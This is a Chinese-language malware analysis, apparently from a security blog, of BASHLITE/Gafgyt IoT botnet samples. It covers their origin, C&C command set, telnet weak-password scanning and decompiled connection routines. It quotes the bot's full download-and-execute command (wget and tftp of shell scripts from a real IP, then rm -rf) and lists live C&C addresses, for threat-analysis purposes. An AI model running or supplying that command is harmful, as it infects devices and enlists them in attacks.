根據Level 3 Communications的報告,MalwareBenchmark團隊的Pr0.s、Peter、MX、一行等獲取了其中8個樣本,並進行了有針對性的分析,現將部分結果公佈如下:
該系列樣本來源於最早的ShellLock惡意程式碼,原始程式碼在2015年被洩露,經過不斷的變種,最近被命名為Lizkebab,BASHLITE,Torlus,Gafgyt等名稱。
樣本包含:arm、mips、 powerpc、 x86等版本,但不同版本變種之間功能極為相似,應該是同種原始程式碼,在不同環境下編譯的結果。
具有典型特徵字串,例如:
http://94.102.49.151/bins.sh
Failed opening raw socket.
libc/sysdeps/linux/i386/crti.S
Root
93.174.93.180
9271(埠)
Pong(網絡回復資訊)
……
C&C服務器的連接命令。惡意程式碼登入目標設備後會根據目標設備是arm mips powerpc x86等架構,去服務器下載對應的惡意程式碼並運行
cd /tmp;wget http://94.102.49.151/bins.sh;chmod 777 bins.sh;sh bins.sh;busybox tftp -r tftp2.sh -g 94.102.49.151;chmod 777 tftp2.sh;sh tftp2.sh;rm -rf *
/bin/busybox;echo -e '\147\141\171\146\147\164'
multi-call
REPORT %s:%s:
其中可見受攻擊主機在其操控下從94.102.49.151服務器上下載了名為bins.sh的命令列腳本,並支行了該腳本。並使用busybox工具集(這是一個帶有上百種Linux常用工具的强大工具集)中的tftp進行檔案傳輸。
連接成功後如果接受ping命令,則會回復一個pong
CommServer服務器發送的指令除了PING和DUP還有多種。其實現代碼主要位於processCmd中。
若指令為“GETLOCALIP”,則將樣本所在的主機IP發送給CommServer服務器。
若指令為“SCANNER”,則進行掃描探測,如果發現“ON”狀態主機,則調用StartTheLelz()函數進行攻擊,該函數較為重要,在下麵繼續分析。
若指令為“HOLD”,則主要負責與已被控制的主機保持連接。
若指令為“JUNK”,則向某IP的主機建立連接並發送1024位元組的隨機字串。
若指令為“UDP”,則嘗試向某IP的主機發送內容長度為n的UDP數据包。
若指令為“TCP”,則嘗試與某IP的主機建立TCP連接。
產生隨機的地址,並進行telnet掃描
對掃描到的設備進行弱口令攻擊
通信過程截圖
告訴攻擊者,受害者是X86架構。
某版本樣本,部分關鍵反編譯程式碼
1、函數initConnection()用來建立socket連線:其中mainCommSock= socket(2,1,0);建立了一個新的socket,也就是向系統注册,通知系統建立一通信埠。便於之後發送數據,接收數據的實現。
BOOL initConnection()
{
memset(&s,0,0x200u);
if(mainCommSock)
{
close(mainCommSock);
mainCommSock = 0;
}
if(currentServer)
++currentServer;
else
currentServer = 0;
strcpy(&s,(&commServer)[4 * currentServer]);
v3 = 6667;
if(strchr(&s,58))
{
v0 = strchr(&s,58);
v3 = atoi(v0 + 1);
*strchr(&s,58)= 0;
}
mainCommSock = socket(2,1,0);
return connectTimeout(mainCommSock,&s,v3,30)== 0;
}
2、在函數sockprintf()中,send()用來將數據由指定的socket傳送給對方主機。參數fd為已經建立好的socket,參數buf指向欲連線的數據內容,參數strlen為數據長度。如下:
調用函數sockprintf()的是函數recvLine()
3、…recv用來接收遠端主機經socket傳來的數據,並把數據存到由buf指向的記憶體空間,參數1u表示可接收數據的最大長。
recvLine()函數實現了經指定socket傳送數據接收數據的功能,反編譯代碼如下:
signed int __cdecl recvLine(unsigned int a1,void *a2,unsigned int a3)
{
memset(a2,0,a3);
timeout.tv_sec = 30;
timeout.tv_usec = 0;
memset(&readfds,0,sizeof(readfds));
v14 = 0;
v15 = &v10;
_bittestandset((signed __int32 *)&readfds +(a1 >> 5),a1 & 0x1F);
v10 = select(a1 + 1,&readfds,0,&readfds,&timeout);
if(v10 <= 0)
{
while(v11 <= 9)
{
sockprintf(mainCommSock,(int)“PING”,v5);
timeout.tv_sec = 30;
timeout.tv_usec = 0;
memset(&readfds,0,sizeof(readfds));
v16 = 0;
v17 = &v10;
_bittestandset((signed __int32 *)&readfds +(a1 >> 5),a1 & 0x1F);
v10 = select(a1 + 1,&readfds,0,&readfds,&timeout);
if(v10 > 0)
break;
++v11;
}
}
v13 = 0;
v12 = a2;
while(1)
{
v3 =(signed int)a3-- > 1;
if(!v3)
break;
if(recv(mainCommSock,&buf,1u,0)!= 1)
{
*(_BYTE *)v12 = 0;
return -1;
}
*(_BYTE *)v12 = buf;
v12 =(char *)v12 + 1;
if(buf == 10)
break;
++v13;
}
*(_BYTE *)v12 = 0;
return v13;
}
訂閱號內相關文章(點解可閱讀)
超百萬物聯網設備感染BASHLITE家族惡意程式碼